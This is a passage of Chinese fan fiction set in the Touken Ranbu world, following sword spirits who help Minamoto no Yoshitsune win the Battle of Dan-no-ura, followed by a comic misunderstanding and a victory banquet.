千子村正咬牙切齿地朝他挥几下拳头,然后一屁股把鹤丸国永撞开,蹲到小乌面前,僵硬地伸出双臂琢磨着怎么哄。 要抱吗?还是拍拍背? 没等千子村正做出什么行动,小乌就感受到面前有热源靠近,自发地一头扎进了千子村正的怀里,双手紧紧抓住对方背后的布料,放声嚎啕大哭起来:“呜哇——!!!” 千子村正:!!! 千子村正的身体瞬间僵直,已实装的村正刀没有小孩子,他也没经历过哄小孩的场面,只能无措地一动不动,任由滚烫的泪水浸湿自己的衣襟,过了好一会,才生涩地抬手给他轻轻拍了拍后背。 没有人出声责备或者催促。 也不知道这孩子之前在时间溯行军那里经历过什么,遇到他们之后也没表现出过大的情绪波动,现在一下哭这么狠估计是憋坏了,发泄一下就好 1185年3月24日,清晨6时。 “乌——!” “敌袭——!” 高亢的号角声猝然打破了周围的安宁,紧接着,更多的号角声此起彼伏,宣告着平氏终于快要弹尽粮绝,准备背水一战,主动发动攻击,点燃了战争的烟火。 士兵的吆喝声,甲胄和武器在奔跑时发出叮当的碰撞声,拉动船帆而响起的号子源氏大营瞬间犹如被倒入沸水的蚂蚁窝,所有人都以最快的速度奔向各自的岗位,气氛紧张。 源义经站在甲板上,望着海平线——源氏的战船过不了多久就会出现在那。 他对鹤丸国永几人的疑虑已经几乎被打消了:“真的在清晨发动攻击了没有骗我。” 万幸他足够谨慎,哪怕对鹤丸国永的话半信半疑,依然提前安排了部署,这个时候就不至于被打个措手不及。 “按计划进行,加快速度搬运物资迅速登船!传令各船迅速启航,按预定阵型准备迎战,弓箭手准备!” 一道道命令传递下去,士兵们有条不紊地进行完最后的工作,快速登上了各自的战船,八百余艘战船乌泱泱一片,开始向前推进防线。 源义经在甲板上做完战前部署后,带着武藏坊弁庆挤入了船舱和小乌等人会合。 船舱内,小乌早已重新整理好了仪容,鹤丸国永和千子村正也穿着普通士兵的衣服静静守在两侧。 当船舱的帘子被掀开,源义经的身影出现在视野中时,小乌的心不自觉地提了起来,紧张得不行,尤其在看到源义经腰间挂着的膝丸时,更加心虚。 不要紧张不要紧张 小乌感觉腿都要软了。 支棱起来啊! 他现在的身份是源义经曾经的佩刀,嗯,还是源氏重宝。 我是源氏重宝我是源氏重宝 小乌在心里默念。 源氏重宝是什么样子的? 小乌第一个想到的是髭切。 然后脑海中的髭切朝他甜丝丝地笑了一下,尖锐的虎牙露出。 呃做不到,下一个。 嗯,还是膝丸比较适合他模仿。 小乌打直腰背,双脚微微分开,双手放在胯部,恭敬地向源义经躬身行礼:“大人。” 源义经进来后目光在第一时间锁定了穿着他的盔甲的小乌。 源义经舔舔有些干涩的嘴唇,心脏加速跳动,两眼发亮,快步上前:“感谢大人出手相助,九郎感激不尽!今日有您相助,此战必能大获全胜,诛平氏,扬我源氏为名!” 小乌板着脸维持严肃和庄重的姿态,一板一眼地回答他:“能够来到大人身边,再次为守护源氏而战是我的荣幸。” “好!好!” 源义经对小乌的身份深信不疑,乐呵呵地重重拍打了几下小乌的肩膀。 几人开始商讨接下来每个人的任务。 战争刚开始时还不需要源义经下场作战,源义经就继续在甲板指挥,昨晚他已经下了死令来隐瞒自己的腿伤,知道实情的那一点人也被他安排在了这艘船上一起替他掩护,只要他尽量不走动暴露不会出问题。 他的盔甲已经被小乌穿走,如今穿的是备用盔甲,等待时机成熟,源义经就进入船舱和小乌交接。 千子村正就随身保护躲藏在船舱中的源义经,而武藏坊弁庆则跟随小乌,他作为源义经的亲信,跟在小乌身边更能证明他的身份。 最后是鹤丸国永,他会化为士兵混在这艘船上随机应变,进可上阵杀敌,退可在源义经和小乌之间游走传递消息和指令。 分配好任务后,源义经还想拉着小乌说些什么,试图探听一些未来的事,但还没喊出小乌的名字就被鹤丸国永过来打断了。 “大人,时间紧迫。”鹤丸国永递给源义经一副狰狞可怖的面具,“请您在外带戴上这个面具吧,交接时可以一起把面具交给他。”他指的是小乌。 这荒郊野外的一时半会想找个面具可真不容易,在营地到处窜了半天才看到这么一个装饰用的面具。 他准备这副面具也是有深意的。 “这样就不会有人通过面容分辨出来了,有面具阻挡声音的传播,音色也会因此变形,让人更难察觉出声音的变化,若有人问为何要带这面具” 鹤丸国永微微一笑:“您只需要说这是为了在战场上更添威势,震慑敌军即可。” 源义经恍然大悟,眼中充满赞许:“妙计!” 话音刚落,船舱外再次响起震耳的号角声,犹如催促的战t?鼓,武藏坊弁庆先行一步撩开帘子查看外面的情况。 “已经看到船了!” “报!前方出现平氏的战船,目测五百有余!” 战争即将打响。 “大人!” “走!”源义经不再浪费时间,一把抓过面具戴上 海面上的雾气还未散去,平氏的舰队已经借着洋流之向快速逼近,源氏大军还未看清对面船上的人影,密密麻麻的箭矢便在雾气的掩藏下先一步到来。 平氏的弓箭手立于船头,不断地朝源氏射击。 “嗖嗖嗖——!” “箭来了!举盾!” 源氏的船队逆流而行,船速缓慢,无法依靠船只的行进躲避箭矢,几乎成了靶子,还没来得及举起盾牌就钉入甲板,射穿船帆,甚至射伤士兵,一时间惨叫声和坠海声此起彼伏。 源义经试图指挥还击,但战争讲究天时地利人和,此刻他们一点不占。 逆向的洋流不仅让他们的船只寸步难行,还颠簸,让弓箭手的射程和准头都大打折扣。 平氏在洋流的推动下进退自如,能够轻松地抢占有利位置,从各个角度进行攻击。 前进的时候速度飞快,猛烈地冲撞源氏的船只,将阵型打乱。 有些体积小,载重轻的船在几次撞击后居然被他们成功撞翻,一大群士兵落水,划着水朝附近的船只求助,又被随之而来的弓箭射死,湛蓝的海面上顿时出现了一片被血染红的区域。 后退时,只要顺着海水流向的推动,轻轻一划,他们就能迅速地拉开距离,轻松避开攻击,让源氏的弓箭手射出的箭矢大多都徒劳地落入海中。 源氏士兵们只能蜷缩在船舷后,依靠盾牌和穿线的掩护,承受着平氏一波又一波的箭雨,船帆被射得千疮百孔,士兵们冒着风险收下船帆,然后纷纷倒在桅杆下,甲板上血迹斑斑,伤员呻吟不断,士气受到了严重的打击。 源氏劣势。 第27章 第二十七章 杀——!!! 主船上, 源义经和武藏坊弁庆蹲在盾牌下,死死盯着战局。 他看到己方劣势,心中焦急万分, 鹤丸国永并没有多透露此战的所会使用到的战术和战况, 但是他对自己很有自信, 既然历史上他赢得了这场战役,那么哪怕他不知道未来,也依然能想出扭转战局的方法! 这才是他决心帮助兄长,替父报仇而投入战争的底气! 日头逐渐上升接近头顶正上方, 红旗蔽海,源氏还在被动地挨打, 源氏的劣势愈发明显。 源氏大军不甘示弱, 哪怕已经损失多船,前排船队依然□□地向平氏领头船大将山鹿秀远的船队逼近,双方开始互相抛掷抓钩,振奋士气的太鼓声,喊杀声,刀剑相撞的声音, 以及落水声响彻天际。 最后成功将其船队拿下, 见山鹿秀远落水,隶属于他的船队开始放倒旗帜投降。 源平两军混战在一起, 飞矢如蝗, 血流成河。 怎么样才能打破僵局呢? 见平教经率领着船队直冲主将而来, 源义经下令后撤。 接着他将目光放在了平氏船上的摇橹手和舵手等身上。 都说交战时期不斩来使, 放到海战来说,攻击桨手违背了交战原则,非常令人不齿, 哪怕赢了也不光彩,惹人非议。 但是源义经不管这些。 他的兄长在他心中永远排在第一位,他个人的名誉?其实他并不是那么在乎,如果他有那么在乎自己,就不会放弃原本平安的生活,与源赖朝讨伐平家。 “给我射杀对面的桨手和舵手!” 源义经命令。 训练有素的弓箭手立刻调整目标,纷纷将准星转移,开始伺机射杀对面的桨手和舵手。 “咻——噗!” “啊!!!” 一支利箭精准地穿透了一名舵手的脖颈,哼都没哼一声便瘫软下去,顺着船体的倾斜咕噜咕噜滚落下去,消失在海中。 对面没想到源义经居然不顾自己的脸面违背交战原则,被阴了个措手不及,让源氏得逞。 此计效果立竿见影! 灵活的战船失去操控瞬间失控,船头一歪,撞向旁边的友军,两艘船怼在一起,顿时人仰马翻,更多的箭矢趁此机会射入船只,哀嚎此起彼伏。 舵手和水手是船上的核心,失去了他们,再灵活高级的船也只是一堆大型的浮木,无头苍蝇一般飘荡再海面上,失去动力。 平家凌厉的攻势被强行遏制,优势荡然无存,甚至比在逆流中挣扎前行的源氏更像固定靶子。 看到平家的船只失去控制,源氏士兵士气大增,反击变得更加猛烈 外面的呼喊声震天,隔着船板和帘子都依旧清晰可闻,船舱顶上不停地传来箭矢扎上的“笃笃”声,让气氛更加紧张,小乌也对战争有了更深一层的概念。 他双手压着因紧张而不自觉弹动的耳羽,让千子村正能毫无阻碍地替他把头盔扣上。 体积颇为庞大的头盔将小乌非人的特征完美掩盖,侧头时下巴碰到边缘,金属部分的冰凉让小乌打了个寒颤。 啊虽然一直在给自己做心理准备,但还是好紧张。 鹤丸国永和千子村正也扣上了自己的头盔,系好颔下的绳结。 鹤丸国永凑近:“时间快到了,准备好了吗?‘义经公。’” 小乌吸气,冰冷的空气混合着浓重的血腥气灌入肺部,再缓缓吐出。 “嗯,准备好了。” 船舱的门帘猛地被掀开,源义经在武藏坊弁庆的搀扶下冲进来,喊着“洋流的流向变了!”的话将面具摘下递给小乌。 “” 小乌将面具郑重地戴上,面具上还留有残存的一丝温度。 此刻,他将是日本历史上最伟大的天才军事家之一——源义经 只许成功不许失败! “大人。” 在小乌跟着武藏坊弁庆走出船舱前,源义经叫住了他。 源义经朝他行了一礼:“接下来就托付于您了祝君武运昌荣。” 小乌默默朝源义经还了一礼,随即握紧本体,大步朝外走去。 脱离船舱黑暗的环境,正午灿烂的阳光倾泻而下,小乌不适地眯了眯眼睛。 天空是天蓝的,其中悬挂着的太阳是金色的,海水却是红色的。 视野所及之处,无数嵌在各处的箭矢如同一簇簇荆棘,士兵或站或躺,伤兵被拖到角落包扎,呻吟声不绝于耳;每一寸地都布满了小溪一般的血液,无从落脚;士兵们的脸上沾满汗水和血污,他们的眼中有疲惫,有恐惧,也有熊熊燃烧的战意。 这就是战争啊。 但好在洋流已转为西向,八幡大菩萨在上,胜利终将属于源氏! 小乌振臂呼喊:“诸君!洋流逆转了!平家气数已尽,全速前进!” 源氏的八百余艘战舰挣脱了泥沼,被注入了新的生机,桨手随着太鼓鼓声的指挥呼喝,船头劈开汹涌的浪花,开始加速,极快地开始拉近距离。 吸—— 小乌抽出了本体,高高举起,指向天空。 呼—— 一个字迸发而出。 “杀——!!!” 小乌的吼声传遍了整片区域,点燃了士兵压抑已久的怒火和杀意。 武藏坊弁庆紧随其后,怒吼:“杀啊——!” 甲板上、船舷旁、无论处在什么样的状态下,数百艘战舰的士兵们都努力昂起头,举起手中的武器,双目赤红,跟随小乌发出凶悍的咆哮。 “杀——!” “杀——!” “杀!!!杀!!!杀!!!” 冲锋的号令已经拉响,声浪汇聚,如排山倒海,摧枯拉朽,仿佛震散天上的云朵、要掀翻上头的苍穹,连海水都在这震天响的喊杀声中颤动! 源氏的白旗在呐喊声中陆陆续续被重新立起,在海风中猎猎狂舞,从远处看,像是一大簇正在燃烧的白色火焰。 砰!砰!砰! 风水轮流转,现在轮到源氏在洋流的推动下狠狠地撞上了平氏那混乱不堪的船队。 顿时木屑纷飞,船体发出不堪重负的呻吟和断裂声,有的小船直接被拦腰撞断,船上的人来不及呼救就落入了海水中,被浪涛吞没。 战局倒转了! 小乌所在的主船也撞上了一艘船。 小乌见状振臂一呼:“跟着我一起——杀上去!” 他不再犹豫,纵身一跃,踏上了对面船只的甲板,武藏坊弁庆紧跟其后,薙刀横扫而出,瞬间将两名试图阻拦小乌的平家武士拦腰斩断,鲜血如同喷泉泼洒在甲板上、还有小乌的身上。 士兵们源源不断地涌上来驱赶入侵者。 小乌站定停顿了一下,紧了紧手中的刀柄,挥刀而出! 猩红的液体溅在面具上,而后又顺着表面滑落。t? 这是他杀的第一个人。 他还会杀更多的人。 小乌不忍地闭了闭眼。 他一刻都不能停下,他必须继续向前进!这些人早就是已经逝去的人了,他不需要有过多的心理负担。 这就是——历史啊! 这就是刀剑男士维护历史的方式! 正午时分,源氏登上平氏战船,开启了白刃战,这场战争才算是正式拉开了序幕。 真正的人间地狱也不过如此。 “杀啊!!!” 士兵们如同潮水般纷纷怒吼着涌上敌军的船只,狭窄的甲板上瞬间变成了绞肉机。 刀光剑影交错闪烁,断肢残臂随处可见。 金戈碰撞时发出的刺耳的声音,刀剑刺入□□的闷响,骨骼碎裂的响声,还有敌人的哀嚎无数声音混杂在一起,置身其中,让人分不清东南西北,气味也令人作呕。 一个士兵被面前这副景象吓得魂飞魄散,跪倒在血泊中干呕不止,下一秒就被侧面重来的敌人一刀捅穿了后背。 “呃啊啊啊!” 小乌在人群中穿梭,手中的刀如同死神的练刀,每一次挥动都带起一捧血花。 啊啊 奇怪的感觉。 “噗嗤!” “咿啊啊啊啊!” 他的刀刃又贯穿了一个人类的胸膛。 嗯,还是说奇妙的感觉呢? 明明在走出船舱前,他的手脚还因恐惧而冰冷发麻,但是此刻的杀戮却反而让他的手不再犹豫和颤抖。 他的本体沐浴在人类的鲜血中,同样能够感受到温度,点燃了他胸中熊熊燃烧的战意。 快意!无与伦比的快意! 沉重的盔甲渐渐地没有了存在感,脚下轻飘飘的,仿佛随时都能生出一双翅膀飞起来 就像天狗一样? 是的,就像天狗一样。 小乌的每一次挥刀,切开敌人的肉/体或是和敌人的武器相碰撞,都能为他带来一种近乎颤栗的快感,他浑身热血沸腾,四肢百骸都开始发热,脉搏在疯狂鼓动。 他的感官也被无限放大,敌人的动作在他眼里变得缓慢,轨迹清晰。 怜悯?违反道德的罪恶感? 这些属于人类的枷锁已经被彻底粉碎,酣畅淋漓的战斗踢走了他脑中的一切杂念,他的眼中只有面前前仆后继的敌人。 原来如此,原来如此! 刀剑是为了战场而存在的这句话原来是这个意思啊! 真的好爽快! 只要站在这个战场上挥舞自己的本体,他就感到无比的满足。 他是一把为战场而生,渴望鲜血的刀! “嗬嗬” 在激烈的厮杀中,因兴奋和餍足小乌的瞳孔几乎要变成了两条竖线,就像野兽一样。 面具之下,小乌咧开嘴,露出一个谁都看不见的,相当狂气的笑容。 “哈” “哈哈哈哈哈!!!” 第28章 第二十八章 它本身就是源氏重宝?…… 小乌彻底杀疯了。 从这一艘船杀到另一艘船, 所过之处只剩下倒伏的敌人,不知疲倦。 如果这是游戏,他的头像现在应该显示的是樱吹雪状态。 鹤丸国永一直都跟在周边摸鱼——虽然他是很喜欢战斗啦, 但也不是什么杀人狂魔, 小乌都快把周边清空了, 他用不着那么卖力。 就是小乌的状态反差太大了让他看着有些心惊。 他不着痕迹地偷偷摸到小乌旁边小声叫他,叫他收敛点。 小乌动作没停,但是短促地回应了他一声表示听到了,下手也变轻了。 行吧, 还有理智就行。 鹤丸国永暗自咂舌。 嗯时代变了上战场的机会也不多了,既然不会失控那就让他尽情享受就好了。 反正他和武藏坊弁庆都在附近看着。 鹤丸国永还挺高兴小乌的变化的, 他一直觉得小乌乖是乖, 但是未免人性太足了,战斗时缺点斗志。 现在好了,很有刃样!继续保持! 夕阳的余晖将大海和天空都染成一片刺目的金红色,就像被在这场战争中死去的人的鲜血泼洒过。 随着源氏大军的推进,不停地有战船落败投降。 大势已去。 面对着已经冲到近前的大军,平氏的人作出了他们最后的选择。 一位位平氏大将带着武士最后的尊严, 毅然决然地跃入波涛之中, 其余人逐一效仿,悲呼与诀别混杂。 领袖平宗盛及其子、其妹也试图跳海自尽, 可惜被眼疾手快的源氏士兵拦截, 在挣-扎和哭喊中被拖走, 沦为俘虏。 年仅八岁的安德天皇被祖母二位尼紧紧抱在怀中, 二位尼低声吟诵着佛号,一步步坚定地走向船舷,沉入深不见底的大海中。 “天皇陛下——” 平氏已经完全失去了斗志, 不再与源氏交战,小乌也停下了战斗,发热的头脑开始冷却。 快结束了。 他扶了一下面具,摸了一手血和血液干涸结块后的渣渣。 噫—— 好脏。 不想用这只手摸自己本体了。 但是低头一看发现身上已经没有一处是干净的。 好吧。 隐忍 jpg. 他摆烂了,开始搜寻平教经的身影。 虽然他被平家弃置后根本见不到那些将军,但是他的记忆中他曾亲眼目睹平教经冲向源义经的背影,所以如果看到平教经的话,他还是能认出来的。 小乌一边找一边分神,他在想结束之后还有没有机会看一眼小乌丸 自从他成为真正的小乌后,他就一直在回味小乌丸沉海前说的哈,越想越觉得小乌丸的那番话到底是单纯见证平氏覆灭的感叹呢?还是也有说给他听的意思呢? 如果他的猜测正确,那么这番话又是什么意思? 不过想来能见到小乌丸的可能性不高,毕竟他看着平家人抱着他跳海的,自己则是在平家灭亡后跟随沉船沉入海中,等他溜完平教经再来找估计是来不及了。 但是也许能看看自己完好的样子,现在本体被腐蚀得坑坑洼洼,不太看得出曾经的模样。 嗯,结束后就找找吧!能看看自己也不错。 啊,找到平教经了。 也不算是找到吧,因为他已经看见平教经朝他冲过来了。 来了! 小乌用余光观察了一下附近船只的点位,开始后退,脚后跟已经抵到了船沿。 就在平教经离他只有几步之遥时,小乌猛然转身,足下重重一踏。 “咚!” 不需要助跑,只是原地起跳便轻松跨过了三米多的船距,轻盈得不可思议,在半空中划过一道红色的弧线,稳稳地落在他选定的船只甲板上。 第一跳。 什么?! 平教经的刀刚伸出去,面前的人就逃开了,他抬头,难以置信地看着小乌就这么跳了过去。 这么宽的距离,穿着这么重的盔甲还能跳这么远吗?! “源义经!!!” 平教经发出不甘的怒吼。 平氏已经完了,要么拉一名源氏的大将做垫背,要么立刻去死! 他选择拉着源义经去死!!! 平教经做不到一次跨越三米,只能从更近的船多跳两次来追逐小乌。 他咬紧牙关,助跑,奋力跃起。 大半天的战斗已经耗费了他许多体力,加上沉重的甲胄,他的姿势笨重而狼狈,不甚美观,甚至险些跌落海中。 小乌回望一眼,脚尖一点,再次跳向下一艘船。 第二跳。 他大腿外侧的两卦甲片在空中扬起,如同羽翼一般,从容不迫。 第三跳、第四跳、第五跳。 平教经在后方拼命追赶,小乌怕平教经追不上来,在后续特意挑选了船距,每一次都恰到好处地拉开一点距离,让他能看到希望,却又始终无法真正触及。 第六跳。 小乌在摇晃的船体间跳跃腾挪,翩翩飞舞。 第七跳! “呼——” 小乌最后一次腾空而起,落点距离主船很近了。 平教经气喘如牛,重重摔在数米开外的船只上,源氏的士兵赶来举着武器将他包围。 汗水混合着泪水淌下。 他望着小乌的身影,眼中充满了愤怒、不甘、还有绝望。 他知道,他也不可能会追上了。 “源义经” 平教经模糊的视野中,小乌的身影被靠近的士兵挡在了身后,失去了踪影。 他用尽了最后的力气爬起来,张开双臂,将面前的两名士兵扑到。 “陪我一起下去吧!!!” 在士兵惊恐的尖叫声中,三人一同翻滚着,坠入海内,浪花翻涌,最后归于平静。 海风呜咽,似乎是在为平氏的灭亡哀悼,暮色四合,火把燃起的光亮映照着四处漂浮着尸骸的海面。 祗园精舍之钟声,奏诸行无常之响。 坛t?之浦合战,结束了,平氏荣光不再。 “” 小乌登上主船的船头,一时间有些不知道要做什么。 武藏坊弁庆站在他身边看了他一眼,见他不动,想了一下,在他耳边悄悄地提示了几句。 啊 真的要这样做么。 小乌有点为难。 感觉好社死 在武藏坊弁庆鼓励的眼神下,小乌握拳,举起了右手。 无所谓,源义经关我小乌什么事,冲! 三、二 、一! “诶!诶!哦!” 像开阵时一样,他的声音再次响彻这片海域。 “哦哦哦哦!!!” 武藏坊弁庆配合着同样举起手开始欢呼。 士兵们还沉浸在刚刚的战斗中无法回神,听到声音发愣了片刻,才开始有了战争胜利的实感。 稀稀拉拉的开始有人回应,越来越多的人加入口号,从凌乱无序到整齐划一,震耳欲聋的欢呼声冲击着众人的耳膜,如同鼓动敲打在每个人的心尖上。 “诶!诶!哦!” “诶!诶!哦!!!” 士兵们狂热地看着小乌,欢呼声中夹杂着称赞。 “英勇无畏!大胜!” 不断的溢美之词围绕着小乌,夸得他有些飘飘然。 随着欢呼声越来越响亮,小乌清晰地感觉到丝丝缕缕的力量自四面八方汇聚而来,渗入他的身体,他感受到自己的灵力开始重新变得充盈。 手脚和脖子也隐隐在发痒。 诶?这是什么? 小乌惊讶。 他更不知道的是,他发梢的红色也开始像掉了漆似的褪去,回归黑色,可惜头发被头盔遮了个严严实实,没法看见这个变化。 但异常没有持续太久。 当周围的声音开始从庆祝胜利的口号转向呼喊源义经的名号时,一切异常就消失了,刚刚增长的灵力又偷偷地逸散出去,跑走了,只留下被拓宽了一点的灵力储量。 啊没有了。 小乌打了个寒颤,从刚刚那种状态中清醒过来。 小乌下达命令,让士兵清理战场,收押俘虏,自己则赶紧钻入船舱,卸下了源义经的盔甲,拿了块布随意擦一擦身上的污渍先凑合一下。 源义经笑得合不拢嘴,他也不嫌弃小乌身上脏,大力地抱了他一下,把他勒得一口气差点没喘上来,然后松开和他交谈了几句,便赶着出去查看情况,他还有很多战后工作要做呢。 千子村正这时候才松了一口气,解放了。 哈哈,这大半天的都和源义经呆在这个狭小的空间里,气氛令刃窒息。 聊天吧,怕说漏嘴了抖出什么不该说的;不聊天吧,玩谁先眨眼的游戏都玩得想吐,太尴尬了。 简直不是刃干的事。 千子村正无比后悔没按着鹤丸国永在船舱里。 鹤丸国永比小乌更早一步回了船舱,笑嘻嘻地冲小乌比大拇指,两只手舞得跟滚动的车轮一样。 源义经归位,现在只是普通小兵的他们自然不能再占着主将的船舱,他们偷偷转移到了其他的船舱。 小乌拆开盘发扎了个马尾,和两刃简单打了一声招呼就急着要出去。 千子村正疑惑:“这会还干什么去?” 小乌:“这个时代我的本体在平氏的船上,我想去看一眼。” 这样。 千子村正无所谓地挥挥手:“行,去吧。” 小乌跟他们挥挥手,又出去了。 船舱内就剩他们两刃。 鹤丸国永:“唉,估计他是找不到咯。” 千子村正斜睨他:“你知道得很多嘛。” “小乌是傻的,我可不是,我很好奇你用什么说法让源义经相信小乌是源氏重宝的。” 一振普通的佩刀,和作为源氏重宝的佩刀,其中的差别可是很大的。 不过千子村正倒是非常认可鹤丸国永捏造源氏重宝的身份的这个计谋。 鹤丸国永:“源氏重宝可不是我说的。” “什么?” 千子村正突然有点听不懂刃话了。 鹤丸国永意味深长:“我的意思是,我只是暗示了一下小乌是那振不知名的佩刀,源义经就自发地叫他源氏重宝了哦。” 也就是说,除了髭切膝丸,那把振刀本身就是源氏重宝? 第29章 第二十九章 原来你们是这种关系……打…… 见鬼了。 这第三振源氏重宝是哪来的? 当然, 源氏重宝除了髭切、膝丸,还有童子切安纲,但童子切肯定不会出现在源义经和源赖朝兄弟手中, 所以被排除了。 千子村正烦躁地抓抓头发, 试图理清思路:“义经公亲口承认的?” 鹤丸国永:“是, 我只是顺水推舟而已。” 真的凭空冒出来了一振源氏重宝。 可惜身边没有源氏刀,不然还能再进一步确认一下这在历史中是否正确。 等等。 千子村正:“既然历史未曾提过这振刀,现在让义经公知道这振刀有灵,未来会化形, 开始供奉它,让未来的历史有了他的记录该怎么办?” 鹤丸国永挠挠脸。 “我告诉他什么都不要做, 保持原样就好了。” “历史也是会自我修正的, 又是义经公的佩刀,又是源氏重宝,这样都没能在后世留下什么痕迹,肯定是有什么原因的。” 嗯为了让源义经乖乖听话,他还借用源氏未来的气数胡编乱造一番用以威胁。 源义经是个聪明人,他会知道什么该做什么不该做的。 既然已经安排好了, 那千子村正也无话可说。 但他怀疑鹤丸国永还知道什么:“你是不是还知道什么?快说!别藏着掖着。” 鹤丸国永举手做投降状:“除了那振刀的名字我是真的不知道了啊!除此之外, 还有一点就要等小乌回来了。” “什么?和小乌有关吗?” 千子村正惊讶。 他和源义经的佩刀能有什么关系? “嗯他不是去找他在这个时代的本体了?如果没找到的话那振刀就有很大的可能性和他有关。” “你怎么知道?” 鹤丸国永:“” 鹤丸国永:“我猜的。” 千子村正被他气得额角暴起青筋。 猜猜猜猜你个头! 信你的邪我就从船上跳下去! “既然让我脱了,那你就到此为止了!” 千子村正开始脱衣服。 他要用实际行动告诉鹤丸国永, 什么叫作坦诚! 做刃就要像他一样坦坦荡荡! “诶诶诶诶!” 鹤丸国永跳起来。 干什么呀?你干什么呀?! “你突然开什么真剑必杀啊!” “扭扭捏捏得不像个男刃!你倒是学学我的痛快!要脱就脱得干脆!就像这样——!” “你冷静啊!冷静!” 鹤丸国永眼疾手快地按住千子村正蠢蠢欲动的手。 “这里帘子一掀就被看光了啊!” “huhuhuhuhu~那就看吧!都来欣赏我的身体!” 千子村正甩开他的手, 继续他的脱衣大业。 救命啊—— 现在轮到鹤丸国永头疼了。 鹤丸国永:“不行不行, 住手啊!我都说我不知道了你跑出去裸/奔我也不知道啊——” 鹤丸国永死死抓着千子村正的手腕, 但千子村正对“脱”的执念不是区区鹤丸国永可以打消的,反而加大力气要把领口扯开,证明自己的决心! 刺啦——! 清脆响亮的撕裂声响起。 “啊。” x2 另一边, 小乌正混在忙碌的人群中,逐一摸索平氏的船只。 但是忙活了好一阵,都没有看见自己的本体被放在哪了。 在哪里啊难道我没赶上吗? 小乌心里纳闷。 他跳上一艘倾侧严重的船,船舱已经进了许多水,他踩着水往里面探头探脑,什么都没发现。 “啧。” 小乌踢出一个水花。 时间一点点流逝,夜晚的海风带着刺骨的寒意。 “怎么会找不到呢?”小乌茫然地望着面前的一片漆黑。 附近的士兵已经在互相吆喝着归队了,小乌只好带着失落回到了他们落脚的船上。 “我回来了” 小乌掀开了船帘。 他看见千子村正的衣服被撕开了一个惊人的大口子,从领口到胯部,胸膛和腹部一览无余,甚至露出了一部分人鱼线。 被撕下的布料一头还连接在胯部的衣服主体上,另一头被鹤丸国永握在手里。 千子村正试图从胯部的裂口下手让衣服变得更破。 鹤丸国永手脚并用地想要阻止他,两刃就这个肢体交错,缠缠绵绵 小乌掀开帘子,两刃同时下意识看向他。 小乌: 小乌把帘子放下了。 鹤丸国永:“你回来了!快来” 小乌看似善解人意地说:“打扰了,没想到你们居然是这t?种关系,我居然一直都没发现我替你们守门,你们继续。” 实则一肚子坏水。 鹤丸国永:“” 千子村正:“?” 什么? 什么关系?! 你说的到底是什么关系?! 两刃一下相视一眼,猛地互相推开对方,拉开距离。 呕! 鹤丸国永尔康手:“等等!不是你想的那样的!” 千子村正:“我怎么可能会和鹤丸那、那个” 不对! 千子村正:“你一个几乎不出藏刀室的小鬼怎么懂这个?!” 虽然你的身高没到太刀平均线,但也不是小短刀啊? 小乌:你礼貌吗? 小乌拉开帘子看着千子村正:“我比你大。” 千子村正:? 小乌:“我一千多岁了。” 什么作为人类时才十六岁,我现在可是千岁老刀! 就这个倚老卖老,给我尊老! 千子村正: 坏了,这刃确实比我大。 都怪鹤丸国永,整天叫小乌这孩子那孩子的,他都忘了他比自己起码大几百岁。 鹤丸国永:? 鹤丸国永:都比我小,我叫孩子有问题吗? 千子村正:“所以你为什么这么”懂? 小乌没等他说完就唰地一下把帘子又放下了。 快跑 jpg 坛之浦大捷,众人虽激动得恨不得庆祝个通宵,但是战后大家都很累了,并且还有很多事要处理,所以心有余力不足。 源义经和亲信们商讨过后决定先携俘虏,一行人浩浩荡荡地凯旋回京。 这里的历史事件结束了,小乌等刃也没有了继续留在这里的理由,他们休息一会回了木屋取走需要的物品,便跟着大队伍一起进了平安京。 源义经大胜而归,受到了白河法皇的隆重接见和封赏,源义经接下了“检非违使”和“左卫门少尉”的官职,将这位少年将军推上了声望的顶峰。 春风得意马蹄疾,源义经在处理完事务后,为了庆祝坛之浦大捷,决定摆设宴席,犒劳与他一起战斗的士兵们。 小乌等刃同样收到了源义经的盛情邀请。 他们毫不犹豫地答应了。 原因无他——馋啊! 这个时代的饭对他们这些习惯了后世丰富多样美食的刃来说简直是折磨。 平民一般只能吃杂粮或者糙米,小乌他们生活的地方没有人烟,钱财全靠打猎后去城镇售卖猎物,但是药材很贵,光是买伤药就花了大半,那点微薄的收入剩不了多少。 所以他们平常也是吃杂粮和野菜,饶是小乌会做饭也做不出什么花样,更别说调料也很贵 他们只能靠打猎得来的猎物才能吃上点荤腥打打牙祭,嘴巴淡出个鸟来。 所以当他们三刃踏入宴厅时,眼睛都馋红了。 源义经的宅邸人声鼎沸,宽敞的庭院里铺着筵席,源氏的将领和士兵们济济一堂,到处飘着食物的诱人香气,混着酒的醇香。 肉!白米饭!甜点!还有酒!!! 光是看到,唾液就在疯狂分泌。 源义经坐在上首主位,面庞因兴奋和酒意而微红,正与附近的人交谈着什么。 座下的人们也毫无顾及,杯盏交错,大声谈论着,互相拼酒,大口大口地吃肉。 源义经听进了鹤丸国永的话没有过多关注他们,也没有为他们额外搞什么排场,相反,特意给他们安排了一个偏僻的角落落座。 三刃混入席中狼吞虎咽。 鹤丸国永对那些精致的甜点很感兴趣,眼睛眯成两道弯月,千子村正也是在暴风吸入顾不上聊天,两刃腮帮子都一鼓一鼓地咀嚼着,仿佛下一秒就要饿死了。 小乌因为耳羽要避人耳目,所以披着一件类似山姥切国广那样的披风,戴着兜帽,埋头苦吃,筷子舞得飞快,只恨自己只有一张嘴。 三刃风卷残云,但也未引起他人侧目,这可是庆功宴,本就是放松享乐的时候,当然是敞开了吃。 源义经在高台上看到他们吃得投入,觉得很高兴,也很识趣地没去在这个时候去打扰他们,只是朝他们举杯示意,尔后一饮而尽。 鹤丸国永和千子村正同样举起手边的酒杯向源义经示意,一口干光。 小乌看见他们的动作,才反应过来,迟钝地拿起酒杯,依葫芦画瓢地做完动作后迟迟不敢下嘴。 鹤丸国永拦住他的肩膀,淡淡的酒气飘过来:“怎么了?不会喝酒?” 小乌:“不会” 他很为难,他做人的时候还是未成年呢,没有机会接触酒。 但是不能落了源义经的面子,鹤丸教他装一下沾沾嘴唇酒好了。 小乌放下杯子,试探地舔舔沾到酒液的嘴唇,然后脸皱成苦瓜。 好苦。 好难喝。 想喝奶茶 茶门。 千子村正看到后哈哈大笑。 千子村正调侃:“小孩子口味。” 小乌:怒。 啊对,我才十六岁,小孩怎么了! 小乌理直气壮地认为的年龄是弹性的,上至千岁下至十六,他爱用哪个用哪个。 一千岁的时候可以说对他要尊老,十六岁的时候可以对他们说要爱幼。 哦对,除开沉海的那些时间,他也可以是几十岁。 